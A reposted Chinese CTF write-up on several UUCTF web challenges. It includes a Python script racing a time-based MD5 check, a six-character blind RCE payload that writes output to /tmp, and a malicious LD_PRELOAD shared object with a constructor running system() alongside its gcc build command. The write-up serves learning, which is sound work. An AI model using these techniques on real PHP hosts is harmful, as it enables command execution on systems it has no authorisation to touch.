我的编程空间,编程开发者的网络收藏夹
学习永远不晚

UUCTF部分web题解

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

UUCTF部分web题解

前言

这次比赛结束有一段时间了,在此总结一些当时没有做出来的web题解。也当是收集到一些学习经验。

funmd5(php代码审计)

打开题目,是一段php代码:

";            echo $flag;        }        else{            echo $md5[0];            echo "oh!no!maybe you need learn more PHP!";        }    }    else{        echo "this is your md5:$md5[0]
"; echo "maybe you need more think think!"; }}else{ highlight_file(__FILE__); $sub=strlen($md5[0]); echo substr($guessmd5,0,5)."
"; echo "plase give me the md5!";}?>

当时困扰我的是数组的传参问题,现在也算是明白了。get传值,代码很容易读懂,看第一层限制:

$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);

不想0e被替换,那么用%0a换行绕过就行了,那么看第二层限制:

$time=time();$guessmd5=md5($time);$sub=substr($time,-1);$md5[0]=substr($md5[0],$sub);if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){

time函数返回时间戳,找一个字符串的md5值等于它本身,来满足第一个弱比较,但是在此之前会对md5[0]有一个截取操作,从哪截取与时间戳的最后一个数字有关,先不用管,看第二个满足条件,需要去强等时间戳的md5值,那么我们可以卡个满足条件的时间手动发包,但是比较考验手速,用python发包更加的稳。

import requestsimport hashlibimport timefor i in range(10000):times = str(int(time.time()))md5 = hashlib.md5(times.encode())md5value = md5.hexdigest()url = "http://43.143.7.97:28023/index.php?md5[]=%0a%0d0e215962017&md5[1]={}".format(md5value)res = requests.get(url=url)if "NSS" in res.text:print(res.text)break

也是很快得出flag了。

phonecode(随机数预测)

知道考预测随机数,但是不知道怎么解题。题目中给的hint是由我们提交的phone控制的,就用它给的hint来爆破随机数种子,并且在code那里填写下一个随机数就可以得到flag。但是我试了很多次,预测出的随机数都得不出flag,看了别的师傅写的wp,在phone提交12345678909后返回的随机数来预测下一个随机数才能得到flag。 why?

题目中的php版本为7.2,所以用最后一个随机数种子预测出随机数,

 

最后提交预测的随机数就得出flag了。

ezrce(六字符无回显rce)

打开题目是一个命令执行接口,

 

限制了输入的字符最多为六个并且无回显,常规思路就是将命令执行结果写入文件,这一题比较坑的就是你命令执行成功了给你回显命令执行失败。并且写入的文件在tmp目录下。我们输入命令

ls />a

 访问tmp目录下的a文件

尝试构造命令nl /*>a,这是七个字符。还有个更巧妙的方法,创建一个名为nl的文件,再用*将文件名当作命令执行。payload为

>nl* /*>a

 访问/tmp/a,成功得到flag。

uploadandinject(恶意so文件加载)

打开题目先信息收集,题目提示访问hint.php,

提示我们有index.php的swp文件泄露,在url访问.index.php.swp,(做题时前面没加点,一直访问错误)访问url下载好文件打开是有乱码的,所以我们得用vim来打开它,使用命令:

vim -r index.php.swp

 

 重点代码:

putenv("LD_PRELOAD=/var/www/html/https://blog.csdn.net/m0_62422842/article/details/$img_path");

它会将LD_PRELOAD环境变量指向我们可控的文件路径,一看见这个LD_PRELOAD环境变量,肯定就会想到让它来加载恶意so文件劫持函数执行命令。那么我们能够找到一个上传点去上传我们构造的恶意so代码,dirsearch扫一下目录,发现上传点upload/upload.php,

白名单限制,直接上传木马是不现实的,我们上传恶意so文件更改后缀名为jpg,对后续的加载是无影响的,但目前来说,还有一个点。一般情况来说,我们还需要再上传一个php文件,来让它调用mail这样的函数来开启一个新的进程,应为启动一个新的进程的时候,会去加载LD_PRELOAD指向的恶意so文件。很显然,上传点是上传不了php文件的,看了别的师傅写的wp,源代码中的

echo "
"

 这一句代码可以触发加载so文件(具体原因不明),那么说到这里,所有条件就满足,这里直接编写网上最流行通杀恶意c代码,

#define _GNU_SOURCE#include #include #include __attribute__ ((__constructor__)) void payload (void){    unsetenv("LD_PRELOAD");    system("cat /f*");}

使用命令将c文件加载为so文件:

gcc -shared -fPIC hacker.c -o hacker.so

接下来就上传so文件然后加载它就能执行system命令进而得出flag。

来源地址:https://blog.csdn.net/m0_62422842/article/details/127709222

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

UUCTF部分web题解

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

怎么解决PHP部分乱码问题

本篇内容主要讲解“怎么解决PHP部分乱码问题”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么解决PHP部分乱码问题”吧!什么是乱码?乱码是指在HTTP请求和响应中传递的数据中包含了无法被Web
2023-07-05

解锁ASP Web部署的奥秘:一文带你攻克难题

ASP Web部署是一个复杂而详细的过程,但它也不必让您感到畏惧。本文将引导您完成整个过程,从设置开发环境到配置服务器,再到部署您的应用程序。
解锁ASP Web部署的奥秘:一文带你攻克难题
2024-02-21

web前端:JS---课程介绍 + JavaScript分三个部分

编程学习网:DOM实际上是以面向对象方式描述的文档模型。DOM定义了表示和修改文档所需的对象、这些对象的行为和属性以及这些对象之间的关系。可以把DOM认为是页面上数据和结构的一个树形表示,不过页面当然可能并不是以这种树的方式具体实现。
web前端:JS---课程介绍 + JavaScript分三个部分
2024-04-23

web前端面试题实例题目分析

今天小编给大家分享一下web前端面试题实例题目分析的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。面试官:请你谈一下自适应(适
2023-07-05

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录